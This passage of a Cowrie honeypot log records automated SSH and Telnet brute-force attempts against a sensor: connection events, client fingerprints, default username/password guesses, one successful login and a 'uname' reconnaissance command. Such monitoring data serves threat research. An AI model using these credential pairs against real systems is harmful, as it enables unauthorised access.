0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:13.757028Z","src_ip":"176.65.132.129","session":"93f52256ff05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:14.081935Z","src_ip":"176.65.132.129","session":"93f52256ff05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:15.167107Z","src_ip":"176.65.132.129","session":"93f52256ff05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55856,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7acfde8cc8","protocol":"ssh","message":"New connection: 176.65.132.129:55856 (159.203.135.109:22) [session: da7acfde8cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:17.044675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:17.049952Z","src_ip":"176.65.132.129","session":"da7acfde8cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:17.133786Z","src_ip":"176.65.132.129","session":"da7acfde8cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:17.385966Z","src_ip":"176.65.132.129","session":"da7acfde8cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.02132487297058,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:18.190920Z","src_ip":"152.42.224.71","session":"3699417b2745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:18.472092Z","src_ip":"176.65.132.129","session":"da7acfde8cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42958,"dst_ip":"10.17.0.5","dst_port":23,"session":"6220a8c2bb03","protocol":"telnet","message":"New connection: 152.42.224.71:42958 (10.17.0.5:23) [session: 6220a8c2bb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:18.938541Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55870,"dst_ip":"159.203.135.109","dst_port":22,"session":"497487259564","protocol":"ssh","message":"New connection: 176.65.132.129:55870 (159.203.135.109:22) [session: 497487259564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:20.196385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:20.204705Z","src_ip":"176.65.132.129","session":"497487259564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:20.378685Z","src_ip":"176.65.132.129","session":"497487259564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:20.699219Z","src_ip":"176.65.132.129","session":"497487259564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42970,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d193f178e5","protocol":"telnet","message":"New connection: 152.42.224.71:42970 (10.17.0.5:23) [session: 46d193f178e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:20.795463Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:21.783590Z","src_ip":"176.65.132.129","session":"497487259564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.6784098148346,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:22.234325Z","src_ip":"152.42.224.71","session":"ccc336c39db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55884,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a26aad08b80","protocol":"ssh","message":"New connection: 176.65.132.129:55884 (159.203.135.109:22) [session: 4a26aad08b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:23.502590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:23.508119Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:23.590619Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:23.845441Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.070104Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.074172Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.163165Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.167678Z","src_ip":"176.65.132.129","session":"4a26aad08b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":36658,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc8b1ade0a9","protocol":"ssh","message":"New connection: 186.13.24.118:36658 (10.17.0.5:22) [session: cdc8b1ade0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.213460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.218735Z","src_ip":"186.13.24.118","session":"cdc8b1ade0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:24.381061Z","src_ip":"186.13.24.118","session":"cdc8b1ade0a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rm123","message":"login attempt [root/rm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:25.041536Z","src_ip":"186.13.24.118","session":"cdc8b1ade0a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:26.202720Z","src_ip":"186.13.24.118","session":"cdc8b1ade0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42654,"dst_ip":"159.203.135.109","dst_port":22,"session":"04242418eb0c","protocol":"ssh","message":"New connection: 176.65.132.129:42654 (159.203.135.109:22) [session: 04242418eb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:26.617249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:26.624824Z","src_ip":"176.65.132.129","session":"04242418eb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:26.709205Z","src_ip":"176.65.132.129","session":"04242418eb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:26.959758Z","src_ip":"176.65.132.129","session":"04242418eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:28.046824Z","src_ip":"176.65.132.129","session":"04242418eb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42662,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76d37e34e7a","protocol":"ssh","message":"New connection: 176.65.132.129:42662 (159.203.135.109:22) [session: e76d37e34e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:29.766201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:29.771163Z","src_ip":"176.65.132.129","session":"e76d37e34e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:29.853416Z","src_ip":"176.65.132.129","session":"e76d37e34e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:30.104426Z","src_ip":"176.65.132.129","session":"e76d37e34e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.08494997024536,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:30.596702Z","src_ip":"152.42.224.71","session":"fc7bded73ba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00173544883728,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:30.675480Z","src_ip":"152.42.224.71","session":"3d9f210984de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:31.190383Z","src_ip":"176.65.132.129","session":"e76d37e34e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.96419858932495,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:31.354306Z","src_ip":"152.42.224.71","session":"803ac24827e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44004,"dst_ip":"10.17.0.5","dst_port":23,"session":"010373be6861","protocol":"telnet","message":"New connection: 152.42.224.71:44004 (10.17.0.5:23) [session: 010373be6861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:32.421797Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43994,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ef5f76643e","protocol":"telnet","message":"New connection: 152.42.224.71:43994 (10.17.0.5:23) [session: a1ef5f76643e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:32.465791Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42678,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7b0585ee2a0","protocol":"ssh","message":"New connection: 176.65.132.129:42678 (159.203.135.109:22) [session: c7b0585ee2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:32.995561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:32.999830Z","src_ip":"176.65.132.129","session":"c7b0585ee2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:33.082422Z","src_ip":"176.65.132.129","session":"c7b0585ee2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:33.327488Z","src_ip":"176.65.132.129","session":"c7b0585ee2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:34.411623Z","src_ip":"176.65.132.129","session":"c7b0585ee2a0","protocol":"ssh"}
